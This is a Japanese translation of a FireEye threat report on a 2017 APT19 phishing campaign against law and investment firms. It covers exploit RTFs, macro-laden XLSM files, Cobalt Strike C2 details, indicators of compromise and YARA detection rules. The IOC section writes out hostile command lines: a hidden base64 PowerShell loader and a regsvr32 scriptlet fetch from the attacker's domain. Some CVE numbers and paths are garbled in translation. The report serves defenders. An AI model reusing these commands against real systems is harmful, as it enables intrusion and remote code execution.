特権と資格情報: 弁護士の要請でフィッシング

RTF PCAP news

概要

2017 年 5 月と 6 月に、FireEye は、少なくとも 7 つの世界的な法律および投資会社を標的としたフィッシング キャンペーンを観測しました。私たちは、このキャンペーンを APT19 と関連付けました。APT19 は、中国政府によるある程度の後援を受けているフリーランサーで構成されていると私たちが判断したグループです。

APT19 は、3 つの異なる手法を使用して標的を侵害しようとしました。 5 月初旬、フィッシングのおとりは、 CVE 2017-0199で説明されている Microsoft Windows の脆弱性を悪用する RTF 添付ファイルを利用しました。 5 月末にかけて、APT19 はマクロを有効にした Microsoft Excel (XLSM) ドキュメントの使用に切り替えました。最新バージョンでは、APT19 はアプリケーションのホワイトリスト バイパスを XLSM ドキュメントに追加しました。観測された少なくとも 1 つのフィッシングルアーが、Cobalt Strike ペイロードを配信しました。

このブログ投稿の執筆時点で、FireEye は攻撃者によるエクスプロイト後の活動を観察していないため、キャンペーンの目的を評価することはできません。以前、APT19 が法律事務所や投資会社から競争力のある経済目的でデータを盗むことを確認しました。

このブログ投稿の目的は、法律事務所や投資会社にこのフィッシング キャンペーンについて知らせ、IT 担当者がプロアクティブなハンティングと検出に使用できる技術指標を提供することです。

メール

このキャンペーンの APT19 フィッシング メールは、「@cloudsend[.]net」ドメインの送信者メール アカウントから発信され、さまざまな件名と添付ファイル名を使用していました。詳細については、「侵害の痕跡」セクションを参照してください。

アタッチメント

APT19 は、リッチ テキスト形式 (RTF) とマクロ対応の Microsoft Excel (XLSM) ファイルを利用して、最初のエクスプロイトを配信しました。以下のセクションでは、2 つの方法について詳しく説明します。

RTF 添付ファイル

CVE-2017-1099で説明されている HTA ハンドラの脆弱性を悪用することで、観測された RTF 添付ファイルは hxxp://tk-in-f156.2bunny[.]com/Agreement.doc をダウンロードします。残念ながら、このファイルは詳細な分析のために tk-in-f156.2bunny[.]com でホストされなくなりました。図 1 は、hxxp://tk-in-f156.2bunny[.]com/Agreement.doc に到達する RTF ファイルの 1 つを示すパケット キャプチャのスクリーンショットです。

RTF PCAP
図 1: RTF PCAP

XLSM 添付ファイル

XLSM 添付ファイルには、添付ファイル名を反映した内容の複数のワークシートが含まれていました。添付ファイルには、ユーザーに「コンテンツを有効にする」ように要求する画像も含まれていました。これにより、無効になっているマクロのサポートが有効になります。図 2 は、XLSM ファイルの 1 つのスクリーンショットです (MD5:30f149479c02b741e897cdb9ecd22da7)。

マクロを有効にする
図 2: マクロを有効にする

私たちが確認した悪意のある XLSM 添付ファイルの 1 つには、次のようなマクロが含まれていました。

  1. PowerShell の正しいパスを選択するためのシステム アーキテクチャを決定
  2. ZLIB 圧縮および Base64 エンコード コマンドを PowerShell で起動しました。これは、Meterpreter のステージ担当者が使用する典型的なテクニックです。

図 3 は、XLSM ファイル (MD5: 38125a991efc6ab02f7134db0ebe21b6) に埋め込まれたマクロを示しています。

XLSX マクロ
図 3: XLSX マクロ

図 4 には、エンコードされたテキストのデコードされた出力が含まれています。

デコードされた ZLIB + Base64 ペイロード
図 4: デコードされた ZLIB + Base64 ペイロード

シェルコードは PowerShell を呼び出して、autodiscovery[.]2bunny[.]com のルートにあるランダムな 4 文字の URI に対して HTTP GET 要求を発行します。 PowerShell コマンドはほとんどが既定のパラメーターで実行されるため、要求には最小限の HTTP ヘッダーが含まれます。図 5 は、最小限の HTTP ヘッダーを使用して、ペイロードによって生成された HTTP GET 要求を示しています。

最小限の HTTP ヘッダーを使用した GET リクエスト
図 5: 最小限の HTTP ヘッダーを使用した GET リクエスト

シェルコードを ASCII に変換し、印刷できない文字を削除すると、シェルコードからネットワーク ベース インジケーター (NBI) を簡単に取り出すことができます。抽出された NBI を図 6 に示します。

デコードされたシェルコード
図 6: デコードされたシェルコード

FireEye はまた、図 7 に示すように、一部の XLSM ドキュメントで代替マクロを特定しました。

代替マクロ
図 7: 代替マクロ

このマクロは、Casey Smith の「Squibbledoo」アプリケーション ホワイトリスト バイパス手法を使用して、図 8 のコマンドを実行します。

アプリケーション ホワイトリストのバイパス
図 8: アプリケーション ホワイトリストのバイパス

図 8 のコマンドは、SCT ファイル内のコードをダウンロードして起動します。ペイロード内の SCT ファイル (MD5: 1554d6fe12830ae57284b389a1132d65) には、図 9 に示すコードが含まれていました。

SCTの内容
図 9: SCT の内容

図 10 は、デコードされたスクリプトを示しています。 「$DoIt」文字列に注意してください。これは通常、Cobalt Strike ペイロードを示しています。

デコードされた SCT コンテンツ
図 10: デコードされた SCT コンテンツ

変数「$var_code」の内容を Base64 から ASCII にすばやく変換すると、おなじみのネットワーク インジケーターが表示されます (図 11 参照)。

$var_code から ASCII
図 11: $var_code から ASCII へ

第 2 段階のペイロード

XLSM が PowerShell コマンドを起動すると、次のパラメーターで構成された一般的な Cobalt Strike BEACON ペイロードをダウンロードします。

  • プロセス挿入ターゲット:
    • %windir%syswow64rundll32.exe
    • %windir%sysnativerundll32.exe
  • c2_user_agents
    • Mozilla/5.0 (互換性; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB)
  • 名前付きパイプ
    • %spipemsagent_%x
  • ビーコン間隔
    • 60
  • C2
    • autodiscover.2bunny[.]com/submit.php
    • autodiscover.2bunny[.]com/IE9CompatViewList.xml
    • sfo02s01-in-f2.cloudsend[.]net/submit.php
    • sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml
  • C2 ポート
    • TCP/80

図 12 は、このペイロードからの BEACON C2 試行の例を示しています。

コバルトストライクビーコン C2
図 12: Cobalt Strike BEACON C2

FireEye 製品の検出

以下の FireEye 製品は現在、上記の方法を検出してブロックします。表 1 に、製品ごとの現在の検出機能とブロック機能を示します。

検出名

製品

アクション

ノート

疑わしい PowerShell の使用法 (方法論)

HX

探知

XSLM マクロの起動

Gen:Variant.Application.HackTool.CobaltStrike.1

HX

探知

XSLM マクロの起動

マルウェア オブジェクト

HX

探知

ディスクに書き込まれた BEACON

バックドア.BEACON

NX

ブロック*

BEACON コールバック

FE_Malformed_RTF

EX/ETP/NX

ブロック*

RTF

Malware.Binary.rtf

EX/ETP/NX

ブロック*

RTF

Malware.Binary

EX/ETP/NX

ブロック*

RTF

Malware.Binary.xlsx

EX/ETP/NX

ブロック*

XSLM

表 1: 検出レビュー

*アプライアンスは、ブロック モード用に構成する必要があります。

推奨事項

FireEye は、組織がこのキャンペーンのリスクを軽減するために次の手順を実行することを推奨しています。

  1. Microsoft Office ユーザーは、Microsoft からのパッチをまだインストールしていない場合は、できるだけ早く適用する必要があります。
  2. 含まれている侵害の痕跡と一致する過去および将来の電子メールを検索します。
  3. 含まれているネットワーク ベースの侵害の痕跡への接続について、Web プロキシ ログを確認します。
  4. 含まれている完全修飾ドメイン名への接続をブロックします。
  5. 含まれているホスト ベースの侵害の痕跡について、エンドポイントを確認します。

侵害の痕跡

次のセクションでは、FireEye がこのキャンペーン中に観察したフィッシング メールの亜種と悪意のあるペイロードの IOC を示します。

メール送信者
  • PressReader <infodept@cloudsend[.]net>
  • Angela Suh <angela.suh@cloudsend[.]net>
  • Ashley Safronoff <ashley.safronoff@cloudsend[.]net>
  • Lindsey Hersh <lindsey.hersh@cloudsend[.]net>
  • サラ・ロベルト sarah.roberto@cloudsend[.]net
  • noreply@cloudsend[.]net
メールの件名
  • マクロン大統領はリークの信憑性を否定し、フランスの検察官が調査を開始
  • マクロン文書漏洩者が新しい画像を公開し、より多くの情報を約束
  • エマニュエル・マクロンの脱税文書は本物ですか?
  • 時間配分
  • 空室レポート
  • 陶紙の表とグラフ
  • ゼロの結果 – 一部の準備が完了していない
  • マクロンのリークには、フランスとヨーロッパのイスラム化に関する秘密の計画が含まれています
添付ファイル名
  • Macron_Authenticity.doc.rtf
  • Macron_Information.doc.rtf
  • 米国および EU と中国および中国との貿易 CA.xlsm
  • 表 4 5 7 zeros.xlsm を含む付録
  • プロジェクトコード – 05.30.17.xlsm
  • 週刊空室状況レポート 5-30-15.xlsm
  • Macron_Tax_Evasion.doc.rtf
  • Macron_secret_plans.doc.rtf
ネットワークベースの指標 (NBI)
  • lyncdiscover.2bunny[.]com
  • autodiscover.2bunny[.]com
  • lyncdiscover.2bunny[.]com:443/Autodiscover/AutodiscoverService/
  • lyncdiscover.2bunny[.]com/Autodiscover
  • autodiscover.2bunny[.]com/K5om
  • sfo02s01-in-f2.cloudsend[.]net/submit.php
  • sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml
  • tk-in-f156.2bunny[.]com
  • tk-in-f156.2bunny[.]com/Agreement.doc
  • 104.236.77[.]169
  • 138.68.45[.]9
  • 162.243.143[.]145
  • Mozilla/5.0 (互換性; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB)
  • tf-in-f167.2bunny[.]com:443 (*ITW ではなく VT でのみ見られます)
ホストベースのインジケーター (HBI)

RTF MD5 ハッシュ値

  • 0bef39d0e10b1edfe77617f494d733a8
  • 0e6da59f10e1c4685bb5b35a30fc8fb6
  • cebd0e9e05749665d893e78c452607e2

XLSX MD5 ハッシュ値

  • 38125a991efc6ab02f7134db0ebe21b6
  • 3a1dca21bfe72368f2dd46eb4d9b48c4
  • 30f149479c02b741e897cdb9ecd22da7

BEACON および Meterpreter ペイロード MD5 ハッシュ値

  • bae0b39197a1ac9e24bdf9a9483b18ea
  • 1151619d06a461456b310096db6bc548

プロセス引数、名前付きパイプ、およびファイル パス

  • powershell.exe -NoP -NonI -W Hidden -Command “Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert ]::FromBase64String(“<base64 blob>”)
  • regsvr32.exe /s /n /u /i:hxxps://lyncdiscover.2bunny.com/Autodiscover scrobj.dll
  • <ip>pipemsagent_<4桁>
  • C:Documents and Settings<user>Local SettingsTempK5om.dll (元の GET 要求の URI に基づく 4 文字の DLL)
子供のルール

ルールFE_LEGALSTRIKE_MACRO {
メタ:バージョン=”.1″
filetype=”マクロ”
author=”Ian.Ahl@fireeye.com @TekDefense”
日付=”2017-06-02″
description=”このルールは、サンプル 30f149479c02b741e897cdb9ecd22da7 で使用されている特定のエンコーディングでマクロを識別するように設計されています。”
文字列:
// 難読化
$ob1 = “ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW (101)” ASCII ワイド
$ob2 = “ChrW(120) & ChrW(101) & ChrW(32) & ChrW(47) & ChrW(115) & ChrW(32) & ChrW(47) & ChrW(110) & ChrW(32) & ChrW (47)” ASCII ワイド
$ob3 = “ChrW(117) & ChrW(32) & ChrW(47) & ChrW(105) & ChrW(58) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW (115)” ASCII ワイド
$ob4 = “ChrW(58) & ChrW(47) & ChrW(47) & ChrW(108) & ChrW(121) & ChrW(110) & ChrW(99) & ChrW(100) & ChrW(105) & ChrW (115)” ASCII ワイド
$ob5 = “ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(46) & ChrW(50) & ChrW(98) & ChrW(117) & ChrW (110)” ASCII ワイド
$ob6 = “ChrW(110) & ChrW(121) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(65) & ChrW(117) & ChrW (116)” ASCII ワイド
$ob7 = “ChrW(111) & ChrW(100) & ChrW(105) & ChrW(115) & ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW (32)” ASCII ワイド
$ob8 = “ChrW(115) & ChrW(99) & ChrW(114) & ChrW(111) & ChrW(98) & ChrW(106) & ChrW(46) & ChrW(100) & ChrW(108) & ChrW (108)” ASCII ワイド
$ obreg1 = / ( w {5} s & s) {7} w {5} /
$obreg2 = /(Chrw(d{1,3})s&s){7}/
// wscript
$wsobj1 = “Set Obj = CreateObject(“WScript.Shell”)” ascii wide
$wsobj2 = “Obj.Run ” ascii wide

調子:
(
(
(uint16(0) != 0x5A4D)
)

(
($wsobj*) のすべてと ($ob*) の 3 つ
また
($wsobj*) のすべてと ($obreg*) のすべて
)
)
}

 

ルールFE_LEGALSTRIKE_MACRO_2 {
メタ:バージョン=”.1″
filetype=”マクロ”
author=”Ian.Ahl@fireeye.com @TekDefense”
日付=”2017-06-02″
description=”このルールは、XLSX ファイル3a1dca21bfe72368f2dd46eb4d9b48c4.
文字列:
// 環境を設定する
$env1 = “Arch = Environ(“PROCESSOR_ARCHITECTURE”)” ascii wide
$env2 = “windir = Environ(“windir”)” ASCII ワイド
$env3 = “windir + “syswow64windowspowershellv1.0powershell.exe”” ASCII ワイド
// PowerShell コマンド フラグメント
$ps1 = “-NoP” ascii ワイド
$ps2 = “-NonI” ascii ワイド
$ps3 = “-W Hidden” ascii ワイド
$ps4 = “-Command” ASCII ワイド
$ps5 = “New-Object IO.StreamReader” ascii wide
$ps6 = “IO.Compression.DeflateStream” ascii ワイド
$ps7 = “IO.MemoryStream” ascii ワイド
$ps8 = “,$([Convert]::FromBase64String” ASCII ワイド
$ps9 = “ReadToEnd();”アスキーワイド
$psregex1 = /Ww+s+s”.+”/
調子:
(
(
(uint16(0) != 0x5A4D)
)

(
($env*) のすべてと ($ps*) の 6 つ
また
($env*) のすべてと ($ps*) の 4 つと ($psregex*) のすべて
)
)
}

 

ルールFE_LEGALSTRIKE_RTF {
メタ:
バージョン=”.1″
filetype=”マクロ”
author=”joshua.kim@FireEye.com”
日付=”2017-06-02″
description=”CVE 2017-0199 エクスプロイトを利用してドメイン 2bunnyDOTcom を指す Rtf フィッシング キャンペーン”

文字列:
$header = “{rt”

$lnkinfo = “4c0069006e006b0049006e0066006f”

$encoded1 = “4f4c45324c696e6b”
$encoded2 = “52006f006f007400200045006e007400720079”
$encoded3 = “4f0062006a0049006e0066006f”
$encoded4 = “4f006c0065”

$http1 = “68{“
$http2 = “74{“
$http3 = “07{“

// 2bunny.com
$domain1 = “32{“
$domain2 = “62{“
$domain3 = “75{“
$domain4 = “6e{“
$domain5 = “79{“
$domain6 = “2e{“
$domain7 = “63{“
$domain8 = “6f{“
$domain9 = “6d{“

$datastore = “*datastore”

調子:
$header at 0 およびそれらすべて
}

謝辞

Joshua Kim、Nick Carr、Gerry Stellatos、Charles Carmakal、TJ Dahms、Nick Richard、Barry Vengerik、Justin Prosco、Christopher Glyer

参照: https://www.mandiant.com/resources/blog/phished-at-the-request-of-counsel

Comments

Copied title and URL